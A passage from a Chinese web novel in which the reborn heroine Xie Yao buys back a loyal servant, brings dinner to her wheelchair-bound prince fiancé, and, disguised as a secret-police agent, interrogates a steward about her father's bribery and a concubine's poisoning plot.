他按照大夫的吩咐,即便还没到冬日最冷的时候,也一身玄青色大氅,领口袖口滚着墨色的狐毛,远远望去,透着不符合年龄的暮气。 日光透过橙红的枝叶,将他冷白的面容染上一抹暖意。 “她哪是来看本王,不过是用来王府道谢当借口,出门罢了。”箫熠之声音淡漠。 白术皱起眉:“那谢二小姐岂不是在利用王爷?她——” 他自觉失言,然而下一刻,原本一动不动倚在藤椅上的王爷,忽然坐起来:“轮椅。” 第26章 换衣服等王妃?谢窈砍价 轮椅? 白术连忙去屋内把王爷的轮椅推出来。 老管家也来帮忙,一起把王爷搀扶到轮椅上。 王爷又一个眼神,白术推着他到了院门口。 一阵风吹过,把那棵黄栌树橙红的叶子吹落了许多,天是越来越冷了。 箫熠之也意识到自己坐在冷风里等着有点傻,谁知谢窈什么时候才来。 他仿佛什么事也没发生,淡声道:“回屋。” 白术不明白王爷究竟要干嘛,默默听从吩咐。 刚进屋,箫熠之就面无表情地脱掉死气沉沉的玄黑大氅:“热,换本王那件青色绸锻的常服来。” 白术打了个哆嗦,心想,这天也不热啊,为什么要换衣服? 但他不是他弟,也只是腹诽了一句,并没有问出口。 问了,王爷肯定要瞪他。 * 谢窈和忍冬拎着两份点心,没有直接去东街牙行找同福,而是坐王府的马车,去了京城偏西的一条小巷。 燕国皇宫在京城正中,东边,是热闹的街市和王公大臣们的住所,西边则冷清些,住的大多是平民百姓,更西的地方,是京畿大营的驻地。 此刻,叫杏儿的小女孩将两碗水端到谢窈面前,怯生生道:“仙女姐姐,请喝水。” 碗是白瓷碗,很干净,但一个碗沿磕碰缺了一角,另一个碗身有着细小的裂痕。 而这,已经是她家里最好的器具了。 曾经长公主回京,京城人们都说,长公主年轻时,是大燕第一美人,胜过天上的仙女。 杏儿没见过长公主,但眼前这个拿着刀的姐姐,就是她想象中仙女的样子。 老太太也小心翼翼地打量着谢窈二人,紧张地问:“两位贵人,可是同福做了什么错事?” 这里是同福的家,杏儿是同福的妹妹,老太太是同福的祖母。 谢窈摇了摇头,说道:“同福在伯府好好的,之前还立功,十分受二小姐器重。我们听他说他母亲常年卧病在床,今天有空,就来家里看看。” 同福没有骗人,他父亲亡故,母亲常年卧病,小妹杏儿才七岁,全家只靠祖母给人编草席,还有他往回家寄些银钱维持生计。 老太太甚至还不知道,自己的孙子已经被孙姨娘发买了。 她不太信谢窈的话,却又不敢打听。 谢窈将云鹤楼的点心拿出来,又取出一些银钱:“同福托我们给您和杏儿带的点心,这是他攒下的月钱。” 老太太颤巍巍地接过点心:“那,那同福他……” 忍冬连忙说:“伯府二小姐差遣他去京郊庄子收账,他一时回不来。” 谢窈没有给整锭的银子,而是一些散碎银两和铜板,再加上这包点心,老太太终于相信了她们。 忍冬跟着杏儿进屋,给同福的母亲把脉之后,开了一道便宜的药方。 谢窈和老太太坐了一会儿,等忍冬开好药,就要离开了。 比起在伯府后宅勾心斗角,她更擅长行军打仗。 既然是打仗,就要让人心悦诚服,同时,也要确保这人本身没有问题。 “两位贵人,等一等。” 老太太叫住她们,从屋里的箱底翻出一件干净的灰布棉袄:“快入冬了,还要劳烦姑娘,能否给同福稍件棉袄?再转告他,要跟着伯府二小姐好好做事。” 谢窈颔首。 这时,杏儿鼓起勇气上前,将自己不舍得吃的饴糖拿出来:“仙女姐姐,这是我攒的糖,可不可以求你拿一半给我哥哥?” 谢窈弯了弯眸,轻轻摸着她发黄的头发:“可以啊,那另一半呢,你要自己留着吗?” 杏儿轻声说:“另一半给仙女姐姐。” “好。”谢窈心里一酸,接过了衣物和饴糖。 告别老太太,她和忍冬来到牙行。 同福已经被卖到这里好几日了。 他被孙姨娘打了二十棍,说是在伯府犯错被发卖的,牙行的婆子也不管他,任由他后背臀部血肉模糊,每天只给两碗清粥维持性命。 若不是他用攒的一点月钱,求婆子先留自己几天,他已经被送到京郊外的田庄务农。 二小姐曾让她的丫鬟送了他一些伤药,这是他如今唯一的指望。 至于什么孙姨娘,大小姐……他呸! “就他了。” 谢窈一眼就看见缩在角落里的同福,冷淡地开口。 只是,她指着的,却是同福身旁,一个脸上有道刀疤的男子。 同福猛地抬起头,怀疑自己眼前出现了幻象。 是二小姐,真是二小姐! 她怎么亲自来了这里? 同福饿了太久,一抬头就头昏眼花,脑子一时转不过弯。 听到二小姐没有买自己,他的眼神从希翼转为绝望。 牙婆介绍刀疤男:“贵人,这小子是驾车的一把好手,以前在大户人家做车夫,还认字呢,十五两银子,童叟无欺。” 那刀疤男听到谢窈要买自己,连忙推销:“贵人,你买了我吧,我以后绝不吃酒误事。” 牙婆狠狠给了他一鞭子:“混账东西,闭上你的嘴。” 同福低着头,原本已经失去了希望,忽然感觉谢窈的目光还在自己身上。 他内心一动,猛地明白了。 顿时,他虚弱地咳嗽起来,奄奄一息的样子。 谢窈挑了挑眉。 她没看错,同福的确是个机灵的。 谢窈于是话锋一转:“莫不是饮酒误事,摔过马车?左右不过缺个车夫,还是换个人吧。” 这次,她指的是同福。 “不过,这人是不是快死了?”听到同福不住地咳嗽,谢窈皱起眉头,脸上露出嫌弃。 牙婆也担心同福会死。 死在自己手里,她是一分钱也赚不到,若是半死,她还得花钱给他治伤。 但她还是赔笑:“没有没有,贵人放心吧,这贱奴只是被打了几板子,养养就好,肯定死不了。” 谢窈目光又打量着刀疤男,似乎也在犹豫。 牙婆见同福畏畏缩缩,仿佛随时会咽气的样子,一狠心,道: “贵人若真喜欢这个,我可以便宜一些,十二两,再怎么说他也年轻力壮,养好了伤,贵人想让他做什么都行。” “不喜欢。”谢窈面无表情地摇头。 “那贵人说个价,我看看能不能接受。” 谢窈悠悠地张开手掌。 “五两。” “五两?!你直接抢吧!我这里最低十两。” “六两。” “九两。” “七两,不行我就走了。”谢窈作势要离开。 片刻后,她拿上了同福的卖身契。 刚才还半死不活的同福麻利地站起来,默默跟在她身后。 牙婆张了张口,见到谢窈手里的刀,终究不敢阻拦。 离开牙行,谢窈把老太太给他做的棉袄丢给他:“换身衣服去去晦气,以后,你就叫七两吧。” 第27章 骑马入府,说王爷腿脚不便 用七两银子买的,叫七两正好。 七两立即跪到地上,忠心耿耿地说:“多谢二小姐赐名,七两以后一定对二小姐唯命是从。” 他正要将棉袄穿上,忽然,在棉袄里面摸到一个单独缝的口袋。 “诶?” 七两感觉口袋缝制的方式有些熟悉。 “这是路过你家,你祖母和妹妹让我捎给你的,”谢窈说着,将杏儿送她的饴糖拿出来,“放心,她们不知道你被逐出伯府了。” 七两怔怔地盯着这包饴糖,眼前浮现出妹妹缺了门牙的笑脸,眼中忽然潮湿。 他被孙姨娘发卖前,特意求伯府的同伴替他瞒住家人,母亲病着,妹妹还小,祖母也已经年迈,他怕她们担心。 “我两个月没回家了,不知她们怎么样了。”七两颤声问道。 忍冬替谢窈说:“你娘我看过,就是产后水肿,二小姐给你家留了银子,按照我开的方子抓药,不难治,至于老太太和你妹妹,自然都很好。” “二小姐的大恩大德,七两无以为报,既然您买了我,从今往后,刀山火海,七两万死不辞!” 这一次,七两挺直了脊梁,重重地叩首,声音沙哑而认真。 谢窈道:“我不需要你刀山火海。先找个医馆把伤治好,之后回伯府做事,你是我买回来的,孙姨娘管不着你。” 说着,她取出舅舅给她的银票,又将钱匣子里一半的银两给了他。 “二、二小姐,小的治伤用不了这些。”七两被沉甸甸的金银吓了一跳,结结巴巴地说。 忍冬也睁大眼睛,不解二小姐为什么要给七两这么多钱。 谢窈从怀中掏出张纸,这是她昨日写好的清单——是她给谢家的一份大礼。 “除了治伤,我还要你帮我暗中买这张纸上的东西,等你回府后,东西先放在你的住处。” 前世的仇还未发生,连忍冬都不知她究竟要做什么。 七两小时候上过两年私塾,后来,是因为家里穷才主动卖身到伯府,所以认识一些字。 看到纸上的东西,他浑身一震。 他是个聪明人,知道什么该问,什么不该问。 “小的一定为二小姐办妥。”七两将清单叠好塞到怀里,认真地说。 一个时辰快到了,谢窈回到云鹤楼。 给箫熠之带的饭菜正在陆续出锅,一道道都热气腾腾的。 谢窈用食盒装好,怕凉了,又在食盒外裹上两层布匹,包成一个小包袱,背在身上。 她让忍冬自己去找伯府的马车先回去。 忍冬愣住了:“奴婢回去的话,二小姐您怎么办?” 谢窈直接骑上箫熠之留在云鹤楼的一匹青骢马,一手握住缰绳,一手拎着长刀:“我骑马。” 云鹤楼距离靖北王府不算近,坐车到王府,饭菜肯定凉了。 “驾!” 没等忍冬答应,谢窈已经揉了揉青骢马的鬃毛,绝尘而去。 这匹马虽然是给箫熠之拉车的,但体型健壮,从前,应该是南境靖北军铁骑麾下战马。 它仿佛感受到马背之人澎湃的情感,四蹄奔腾如烈火,久违地驰骋起来。 寒风猎猎,吹起谢窈的衣摆,她感觉自己回到了临死前那个清晨,又像回到曾经在战场上厮杀的日子。 她仍旧不认命。 这次,她拿着自己的刀,握着手中缰绳,自己决定自己的命,一切都在改变了。 谢窈一路疾驰到靖北王府,刚要下马,未曾想,王府的大门竟然敞开着。 白术看她骑马前来,面色一沉。 王爷受伤后,再也无法做到从前那样上马提戟,奋勇杀敌。 因此这两年,王爷未曾骑过一次马,他们也从不敢在王爷面前骑马。 甚至平时,连“走”“行”“跑跳”等字眼都不提。 没想到,谢二小姐竟然策马赶来,当真是大胆。 他正要拦住谢窈,白蔹急匆匆地跑上前。 他一路按照老管家的要求通知下人,谢二小姐已经是板上钉钉的王妃,他们也该叫她王妃。 至于是谁让管家这么要求的,他就不知道了。 随即,白蔹大着嗓门打招呼:“见过王妃,王爷在正厅后的流霞院,您可以骑马过去。” 谢窈就这么畅通无阻地策马入了王府,王府的下人见到她,一个个恭敬地行礼:“见过王妃!” 待谢窈走过去,下人们聚在一起议论纷纷。 “那便是陛下为王爷赐婚的谢二小姐吧,真是和传闻一样张狂,竟然骑马来到了王府,她是在嘲讽王爷吗……” “若非王爷受伤,哪轮得到他们家嫁给王爷为妃。” “诶你这话说的,莫不是做梦想嫁给王爷……” “都说文昌伯府是书香门第,没想到谢二小姐如此不懂规矩,看着吧,等她惹了王爷生气……啧啧啧。” “别说了,快去禀告老夫人和二夫人她们。” 很快,谢窈骑到流霞院。 院子中央有棵高耸蜿蜒的黄栌树,在深秋也红着叶子,远远望去,仿佛与天边晚霞相接。 她下了马,走进院里,箫熠之正好被老管家推出来。 谢窈看到靖北王,眼神愈发明亮。 王爷今天也打扮得格外好看,一身朱色蟒袍,墨金冠束发,端坐在轮椅上,渊渟岳峙,周身凛冽,那双如墨的桃花眸深邃迷人。 蟒袍随落叶簌簌,让他身上少了几分沉郁戾气,显得年轻许多。 箫熠之察觉谢窈盯着自己,不动声色地挺了挺胸膛。 谢窈看够了,才问:“王爷用饭了吗?” 管家道:“晚膳尚未用,王妃是要与王爷一起吗?老奴立即去准备。” 谢窈于是解开自己的小包袱,说:“既然没用,那王爷可以试一下这个,应该还是热的。” 她从包袱里拿出食盒,轻轻打开盖子。 谢窈的马术在军中数一数二,食盒内的饭食并没有经受颠簸,每道都新鲜似刚出锅。 诱人的饭香味散发出来,管家恭维道:“王妃来得真快,这道肉酿茄勾的芡还未散。” 谢窈放下刀,往屋里望了望,没看见什么餐桌,于是把食盒内的饭菜挨个端到院内石桌上摆好。 还有一碗热气腾腾的米饭,她放到箫熠之那边。 “我见云鹤楼马厩停了一辆王府马车,猜王爷应该是喜欢吃这里饭菜的,王爷试试,还是以前的味道吗。” 箫熠之终于开口:“云鹤楼距离王府太远,本王不良于行,许久未曾去过。” “所以才更要尝,王爷以前在外打仗那么辛苦,如今好不容易回京享受,难道不想吃点好的?” 谢窈眉开眼笑,劝道:“云鹤楼的菜多好吃啊,你要是腿脚不便,不爱出门,就让下人买回来,一匹快马,不用半个时辰。” 她代入自己,在北境打仗时,做梦都想战后吃酒楼的美食,现在回京了,自然要大吃一顿。 箫熠之腿不方便,又不是他手下也腿不方便,他不出门,还不能叫手下去买吗。 管家听到谢窈的话,心里“咯噔”一声。 完了,准王妃怎么提起了从前作战的事,竟然还说王爷腿脚不便,不爱出门! 第28章 只有她,没把熠之当成残废 管家的心提起来,小心地打量着王爷的神情。 王爷哪里是不爱出门,是没法出门。 他还清晰记得,两年前,那是王爷受伤后第一次离开靖北王府,坐在轮椅上,刚下马车,就引来一群百姓围观。 有个御史台的言官,不知是不是吃了熊心豹子胆,以为王爷残疾后从此失势,上前大骂,说靖北王残暴不仁,杀了太多人,遭到了报应。 这话,竟然引来一些围观的百姓叫好。 第二天,那名言官便突发恶疾,暴毙家中。 只是后来,王爷再也不出门了,除了大朝会上朝,还有去岁长公主归朝,皇上宴请文武百官的宫宴,王爷只在流霞院坐着。 和管家沉重紧张的内心不同,谢窈将饭菜端出来的时候,箫熠之只是静静地望着自己未来的王妃。 谢窈背着个小包袱,还挎着一把刀,乌黑的头发用发带挽起,双眸清亮又纯粹,英姿飒爽。 她帮他带回云鹤楼的饭菜,理由简单,直白:就是他腿脚不便,不喜欢出门。 自从受伤,落在箫熠之身上的眼神,或是畏惧,或是快意,或是同情,这般坦然的目光,他从未见过。 在她眼里,他既不是一个残暴嗜杀的疯子,也不是一个坐着轮椅的废人,她没有敬畏,也没有怜悯。 柔和的日光落在谢窈身上,胜过满院流霞。 箫熠之垂下眸,拿起筷子吃了起来。 以前,民间的大夫,宫里的御医,还有身边的人,一个个都要他饮食清淡,坐卧注意。 不论他做什么,他们都如临大敌,不敢提及他的伤,又要时时刻刻提心吊胆,仿佛他会随时暴起,杀人取乐一般。 他许久没吃过酒楼的寻常饭菜,如谢窈所说,确实味道不错。 管家见王爷竟然没生气,什么都没说,震惊地睁大眼睛。 箫熠之问道:“你不吃?” 谢窈摆手:“中午用得太多,实在进不下了,还要多谢王爷之前给的赏赐,我这次就是特意来向您道谢的。” “谢二小姐不必客气。” 箫熠之淡淡地说,也没再劝,慢条斯理地吃着饭菜。 谢窈发现同样是行伍之人,她以前认识的军中丘八吃起东西,一个个狼吞虎咽,好像她亏了他们一口肉,王爷却特别斯文,明明速度也不慢,但就是赏心悦目。 不多时,箫熠之就将菜吃了七七八八,端起另一碗米饭。 旁边的管家眼珠子都快瞪出来了,这,这还是王爷吗。 要说以前的王爷,行军打仗,吃的自然不能少,可是自从王爷受伤,每顿能进半碗饭就顶天了,身体也因此消瘦了太多。 云鹤楼的饭菜,真有这么好吃? 老管家决定,改日一定要让大小白侍卫给王爷在云鹤楼订餐。 随即,他默默地将这个好消息,告诉了王府老夫人。 过了一会儿,谢窈抬头望了望天色,日头已经彻底转成薄薄的绯光:“王爷吃好,我就先告辞了。” 箫熠之还没有说话,白蔹走进院子,看见谢窈后,神情犹豫。 皇上派来给王爷把脉的周御医到了。 自从王爷出事,皇上格外挂心王爷的身体,每隔三五日就会派御医前来把脉。 只是,现在谢二小姐在,他不知该不该在她面前说。 若是说了,似乎是在明明确确的在准王妃面前强调——王爷是个身体残疾之人。 虽然这是世人皆知的事,但谢二小姐毕竟还没嫁入王府,现在就在她面前说这些,对她未免太过残忍。 箫熠之望着谢窈,从他在文昌伯府门口看见她第一眼,他就知道谢窈是个聪明人。 他并未避讳,道:“让周御医进来,送谢二小姐回府吧。” 谢窈得知来的是御医,挑了挑眉。 有些话,不用解释,只要双方都的聪明人,就懂了。 箫熠之是在告诉她:皇上会派人时常来靖北王府,或许,是真的关心他身体,又或许,比起关心,更多的是忌惮。 也就是说,她之前做得没错。 皇上就是想让箫熠之娶没有实权的谢家女为妻,而她越无礼张狂,皇上就越满意她当王妃。 至于箫熠之身体残疾,需要常年看御医,她既然已经决定嫁给他,就不会在意这样的事。 世上多的是身体健全,却人面兽心的蝇营狗苟之辈。 眼前的箫熠之,却从未害过她。 “不劳王爷送了,我骑马回去就行。” 她客气地说,想到那匹青鬃马,心里还有些痒痒的。 只要她趁其不备骑回去了,那就是她的马。 箫熠之看出她的心思,没有说什么,似乎默许了她的行为。 他垂下眸,心想,他知道下一次,该送谢二小姐什么礼物了。 “庆才不仅仅是皇上的宣旨太监,还是御鹰司副司使,谢二小姐之前在庆才面前做得很对。” 箫熠之忽然说。 谢窈怔了怔,不知他为何忽然提起那天的宣旨太监。 御鹰司,是皇上登基之初亲设的昭狱衙署,负责稽查百官,由皇上直接下令。 而御鹰司原本的司使,是箫熠之。 但在他受伤后,就不再负责御鹰司的事务了。 未等她反应过来这句话其中的含义,周御医已经进来:“微臣见过王爷,王爷今日气色俱佳。” 箫熠之被白术推进屋内,谢窈只好转身,解开将青骢马拴在院门口的马绳。 她倒没有又在王府内骑马,只是牵着马慢慢走。 还没出王府,一名头发半白的老嬷嬷赶上来。 “王妃请留步!” 老嬷嬷端着托盘出现,谢窈看着这熟悉的一幕,默默站定。 “奴婢是老夫人身边伺候的,奉命将此物送给王妃。” 因她和箫熠之还未成亲,所以这次谢窈只是来向箫熠之道谢,并没有去拜会靖北王府其他人。 没想到王府萧老夫人,也就是箫熠之的祖母,竟然派了人来。 听说,箫熠之的婚事,就是萧老夫人跑去皇宫,找皇上求来的。 托盘上,放着一枚凝脂似的玉牌,上面刻着“靖北”二字。 老嬷嬷和善道:“老夫人说了,王妃以后持此玉牌,可以自由出入王府,旁人不得阻拦。” 谢窈道谢后,认真地将玉牌收好。 有了这枚玉牌,她不仅能自由进出王府,更是可以自由出入谢家。 毕竟,她若说自己去靖北王府探望萧老夫人,谢家还敢阻拦不成? 她这未过门的孙媳,就被老夫人送了“见面礼”。 而她真正的祖母,只会认为她丢了伯府的脸。 老嬷嬷将谢窈送至门口,看着准王妃骑马离开,才回去复命。 在萧老夫人面前,她疑惑地感叹:“听说谢二小姐在王爷面前,说王爷腿脚不便,不喜出行,没想到王爷不但不生气,还吃了她带来的饭菜,真不知她是怎么做到的。” 萧老夫人坐在主位上,低声自语:“因为只有她,没把熠之当成残废之人。” 祖宗在上,赐给萧家一个好孙媳,她得替熠之疼惜。 第29章 夜探王管事,撞破奸情 骑着青骢马到了伯府,门房看见二小姐,麻利地给她打开了正门。 惹不起,这是真的惹不起。 谢窈把青骢马送到伯府马厩,恰好看见之前替孙姨娘煎药的丫鬟茗儿,就让她帮忙,平时照看这匹马。 那日她给茗儿的赏钱,对茗儿来说很多,小丫鬟特意问她还有没有什么别的要求,她说让她去给孙姨娘的药里下黄连。 茗儿到底下了没有,谢窈并不在意。 她不过是随手为之,而有时,一些随手之举,积少成多,最后却能派上大的用场。 茗儿恭敬地应:“奴婢一定照顾好这匹马。” 然后,谢窈将云鹤楼的点心,送到了母亲那里。 许素素正要拒绝,谢窈又拿出许知行给她的平肺膏。 “这是治肺痨的琼玉平肺膏,你收好,每日给母亲用。”谢窈直接交给桑若。 桑若常年照顾许素素,自然知道夫人的病是肺痨,也听说过这药的名号,立即收下这瓶药,感激道:“多谢二小姐!” 谢窈于是露出几分可怜神情,眨动着水汪汪的眼睛:“母亲收了舅舅的东西,不收我的点心,不公平。” 许素素嘴角抽了抽,没想到女儿越长大,倒是越会耍赖了。 她只能收下点心:“那药是许家的东西,你去许家了?” 谢窈并未隐瞒:“母亲,舅舅说了,许家永远都是你我的家。” 许素素眼神黯淡:“嫁出去的女儿,泼出去的水,当初为了嫁给伯爷,我一意孤行,忤逆父亲,差点把父亲气晕过去,我已经没脸再做许家的女儿了。” 谢窈反问:“若是我嫁去靖北王府之后,母亲也当我是泼出去的水吗?” 许素素语塞。 她说不过这孩子,不想说了。 谢窈:“既然您还把我当成您的女儿,那您怎么不知道,许家还认您这个女儿?” 没等许素素再反驳,她已经擒住母亲的左手手腕:“忍冬,来看看。” 忍冬已经等候多时,闻言,立即窜上来,开始把脉。 许素素本想挣扎,但看到谢窈严肃执拗的神色,她终究是忍了下来。 “京中各大医馆的大夫,都给我诊遍了,你让你的侍女再看又有何用?难不成,她比坐堂几十年的老大夫还会看病?” 她说着,压抑地咳嗽起来。 不想在女儿面前展露自己脆弱的一面,许素素别过了头。 桑若也叹道:“奴婢知道二小姐爱母心切,但奴婢和夫人这些年,也在外面找过许多江湖郎中,都说夫人是生产时落下病根,又忧思过度,肺痨加重。” 谢窈不信。 前世在她出嫁不到半年后,谢宴就说母亲已经完全瘫痪,奄奄一息。 若说母亲是肺痨,她信,可肺痨是十几年的老毛病了,为何今年突然加重? 片刻后,忍冬把完脉,摇了摇头。 “奴婢无能,只能确定夫人的确患有肺痨,不过,若从此之后一直服用这平肺膏,或许能有所缓解。”她说。 谢窈的脸色沉了下去。 反倒是许素素对这个结果早有预料,只是,笑容中多了一丝苦涩。 忍冬也有些沉默。 伯夫人的脉象和表现是肺痨,可她总感觉有哪里不对劲,又说不上来,所以没办法跟二小姐说。 离开母亲房间,谢窈第一次心事重重。 难道,母亲真的已经病入膏肓? 难道,不管她做什么,都无法改变母亲的结局? 谢窈心里克制不住地升起几分戾气。 这戾气与恨意在她心里积攒许久,只是被母亲的事暂时压了下去,但她一刻不曾忘记。 母亲忧思过度?她在忧思的事,一定和谢明安有关。 谢窈回到屋子,从包袱中找出夜行衣,仔细装扮起来。 深夜,身穿夜行衣,蒙面的谢窈,来到了谢明安的书斋。 没想到,都三更天了,书斋外竟然还有两队护院交替巡逻,还有两名小厮看守在门口,站着打瞌睡。 她眯起眸子,转身,直奔伯府下人的住处。 王管事跟着谢明安半辈子,在伯府有处单独的住所。 谢窈此前用刀柄断了他一条腿,谢明安又罚了他半年月钱,如今他还在养伤。 还没走近,她就听见屋内有动静—— “还好你来了陪我,你知不知道我之前快吓死了,你看我这腿,我这胳膊,疼啊。” “二小姐真是个毒妇,你不过是听伯爷的命行事,她居然把你害成这样……不过,且等着吧,姨娘早晚要她好看!” “咱们这些做下人的,天生就是给主子当狗的命,跟着我,你受委屈了。” “奴婢不觉得委屈,只求管事疼惜……” 听声音,男子是王管事,女子声音也有些熟悉。 谢窈听了一会儿,实在听不下去了,捡了枚石子,运力屈指一弹,直接弹进屋子! 声音戛然而止。 “谁,谁啊!” 王管事的声音紧张,却压得很低。 伯府管事与下人有奸情,这不是什么光彩的事,尤其是他现在被二小姐弄断了腿,也失去了伯爷倚重,府中人人都想踩他一脚。 片刻后,一个头发凌乱,衣冠不整的女人跑出他的门,匆匆离开。 借着月色,谢窈看清了她的脸——是刘嬷嬷! 前世,谢窈曾撞见过刘嬷嬷笑着给王管事递帕子,还替他擦汗。 那熟稔的模样,不像寻常府中下人。 所以,重生后她第一次在谢老夫人的暖房看见刘嬷嬷时,就多留神了一眼。 而她留王管事一命,是因为前世他害死自己时曾说:主子要你死,他只是奉命行事。 奉命行事,除了谢明安,他还奉谁的命? 既然刘嬷嬷是王管事的姘头,那自己的死,是否也和孙姨娘有关? 等了片刻,王管事居然连出屋查看的勇气都没有。 这不太对劲,王管事再怎么怕与刘嬷嬷的私情败露,也不会在刘嬷嬷走后不敢出门。 她直接推门而入。 王管事已经披上衣裳。 看到蒙面黑衣,雌雄莫辨的谢窈后,他“噗通”一声,膝盖砸到地上。 “大人饶命,饶命啊,小人真已经把自己知道的事全交代了!大人去而复返,是要将小人灭口吗?” 还未等谢窈开口,王管事就一把鼻涕一把泪地问。 去、而、复、返? 谢窈笑了。 刚才她听到王管事说:还好你来陪我,我之前快吓死了,就觉得奇怪。 他都断腿好几天了,刘嬷嬷不来陪他有什么好害怕的? 原来,是在她来之前,已经有人找过了王管事。 第30章 假扮御鹰司,渣爹娶妻真相 谢窈任由王管事跪地求饶,低头打量着他。 很快,她就证实了自己的猜测。 ——王管事左臂抖若筛糠,手肘外翻,左手的筋脉也不受控制地暴起。 他被人生生掰脱了臼,最多不过两个时辰。 这种伤,找大夫复位后很快就能好,之后只会疼个十天半月,而不见任何伤口。 整个大燕,只有御鹰司的探子,会用这样的手法审问别人。 不留痕迹,是因为王管事毕竟是京中官宦府内的管事,在谢家没有被定罪捉拿之前,御鹰司不会得罪。 “小人可以对天发誓,真的已经把知道的都说了!” “求大人饶小人一条贱命,至于刚才那女子,她,她是谢家姨娘身边的嬷嬷,是小人相好,今夜忽然找上门来,小人一时把持不住,实在是羞愧。” 王管事又解释起和刘嬷嬷的事。 谢窈已经明白之前发生了什么。 她平静地从袖中掏出一把军刺,军刺是燕国军中探子最常用的武器,看不出具体身份。 她压低声音,喉咙震动,发出与平日完全不同的嗓音:“都交代了?那之前,你为何没有提起自己的姘头?还有心情做事儿,看来,你不怕。” 王管事听到这声音,愣了愣:“大人,你,您不是之前那位大人?” 谢窈居高临下地睨视着他,身上的杀意将他笼罩,让他生不出任何反抗的念头。 她当然不是御鹰司的人,但她现在,可以扮做御鹰司的人。 军刺在王管事脸上来回比画,却没有落下。 下一刻,谢窈反手拎起他左手,轻轻用力。 只听“嘎嘣”声脆响,王管事的另一条手臂,也以同样的方式,脱臼了。 “啊啊啊啊……” 王管事疼得满地打滚,又不敢真的叫出声,只能倒在地上哼唧,呼吸嘶哑。 “谁告诉你御鹰司查案,只能派出一人了,这不就查出你还没吐干净了嘛。如此一来,咱……我可比我那位同僚的功劳,要更大些。” 谢窈语气幽冷,雌雄难辨。 尤其是那声说到一半改口的“咱家”,落在王管事耳中,让他自行补全了谢窈的身份。 眼前这人是个太监,也是御鹰司的毯子,奉命调查谢家,把目标放到了自己身上。 御鹰司是皇上设的衙署,专门负责刺探朝中官员的私事,其中有很多宫里的太监,这他还是知道的。 怪只怪他是伯府管事,真是倒霉透顶,一晚上,两条胳膊居然被同一伙人卸掉了。 谢窈语气多了几分狠毒:“来,把你之前与我那位同僚说的,再跟我说一遍,要是有半句隐瞒,你这两条胳膊,就不止是错位这么简单了。” 她假装自己要与第一人抢功劳。 王管事心里还有一丝迟疑,声音沙哑,战战兢兢地问:“您,您想要小人从何说起?” 谢窈挑了挑眉:“呵呵,那日庆公公来谢家宣旨,文昌伯送的那笔赏钱,真是让人惊讶,就从这里开始说。” 她还要感谢箫熠之,让她想到了这一点。 王管事听到这话,终于不再怀疑谢窈的身份。 毕竟,上一位御鹰司的人,也是这般问的。 “小,小人少时就跟着伯爷,伯爷是家中长子,中了状元后步入仕途,一直兢兢业业,绝不敢做对不起陛下的事。” 王管事磨磨蹭蹭地说。 谢窈眼神幽冷,一脚踩在他的手背上。 她不顾王管事忍痛求饶,在他手背碾动。 “不敢做对不起陛下的事?你是不是以为,我真的什么都不知道,嗯?” “大人饶命,小人说,小人全都说!” 王管事痛苦地呲牙,终于大喊:“十年前,伯爷曾给礼部尚书送了黄金千两,说是孝敬尚书大人,六年前,伯爷曾献给一位贵人一尊金眼白玉佛,从而右迁至礼部侍郎。” “贵人?” “小人只是听命行事,将金银送给过老尚书,还将玉佛送到了一处寻常宅院,不知贵人是谁,只是猜测此人的身份,一定极其尊贵。” 谢窈:“继续。” 礼部老尚书,据她所知,几年前就告老还乡,估摸现在已经死了。 那贵人,又不知具体身份。 只是查出谢明安行过贿,远远不够。 “更早之时,当年伯爷娶了许氏,是因为老伯爷得罪了当朝权贵,连累全家,需要银两打点!” “这些年,伯府花钱如流水,很多都是许氏的陪嫁。” 王管事又说到了伯府夫人。 霎时间,谢窈面巾下的面容阴沉下去。 从前,她一直听说,母亲是与谢明安情投意合,还未成亲意外有孕,生下了自己。 许家陪嫁无数,让母亲成了谢明安的正妻。 结果,原来从一开始,谢明安对母亲就是利用! 他娶母亲,就是为了母亲的陪嫁! 可恨母亲一直病着,谢明安自诩出身伯府,却靠母亲的钱一步步往上爬,还抬妾为平妻,软饭,硬吃! 巧的是,谢明安年轻时也是状元出身,倒和陆慎言尿到一个壶里了。 “文昌伯用许氏的陪嫁行贿,你倒是会说,把罪责都推到一个女人身上,这可不是我想要的结果。”她眼神冷若冰霜,继续问。 王管事连忙道:“小人不敢,是伯……文昌伯自己胆大妄为,他喜欢结交权贵,打点上下,许氏的陪嫁,出嫁从夫,她不给也得给,但许氏还有一部分陪嫁在她自己身下,是伯爷拿不走的。” “除了从许氏那里拿钱,孙姨娘的娘家孙家,旁人的孝敬,还有谢家二房一家,肯定也为他敛财许多……不过,这些只是小人猜测。” 猜测没什么用,但雁过留痕,只要做过,就一定会留有证据。 “好了,我不想听这些没用的,既然你姘头是谢家姨娘的人,那就说说这姨娘吧,据我所知,孙姨娘的父亲,是本朝尚药令。” 谢窈语气阴恻恻的。 “孙姨娘,孙姨娘她没什么好说的,都是些后宅之事……”王管事讪讪道。 “说。” 谢窈只冷冷吐出一个字。 王管事蜷缩在地上,绞尽脑汁: “小人的姘头刚才跟小人说,那位刚回京的二小姐实在可气,孙姨娘从娘家那里寻来了毒药,要让二小姐好看!” “但具体她们要做什么,恕小人实在不知……” 毒药? 谢窈不屑地冷笑,忽然,她想起一桩旧事。 第31章 三份供状,借刀杀人! 谢窈清晰记得,前世,一名举子因为嫉妒陆慎言,买通了陆府膳夫,在他们二人饭菜中下毒。 安平侯得知救命恩人中毒,特意求太后恩典,让宫中御医为她和陆慎言诊治,又由尚药局配了解毒药方。 陆慎言中毒较轻,解毒后身子很快转好,谢窈却因为中毒导致旧伤复发,从此武功尽废。 现在,王管事说,孙姨娘从娘家寻了毒药要暗害自己。 孙姨娘的爹,正是尚药局的孙药令。 那说明,前世尚药局给她配的解毒药方,孙姨娘让人做了手脚。 更有甚者,说不定给她和陆慎言下毒的举子,也是孙姨娘买通的! 再想到孙姨娘如今有孕在身,之后会生下儿子。 而母亲手中还有当年许家部分陪嫁,即便是一小部分,也足以让人眼热。 母亲去世后,陪嫁留给了自己。 所以,哪怕她已经嫁给陆慎言,孙姨娘仍旧要对她下杀手! 她死了,许家给母亲的陪嫁,还有她自己的嫁妆,就彻底落回了谢家手中。 没想到她命大,活过了那次下毒。 但最后,还是被谢明安害死。 王管事把知道的都说了出来,什么谢明安向老尚书行贿,送金眼玉佛,还有别的,要么是多年前的旧事,没有证据,要么,仅仅是他的猜测。 只有提起孙姨娘的事对谢窈有用。 王管事,不过是谢明安手下一个小小的管事。 她这个爹,比她想的藏的还要深,行事还要谨慎。 前世王管事听命杀了她的原因,她还无从得知。 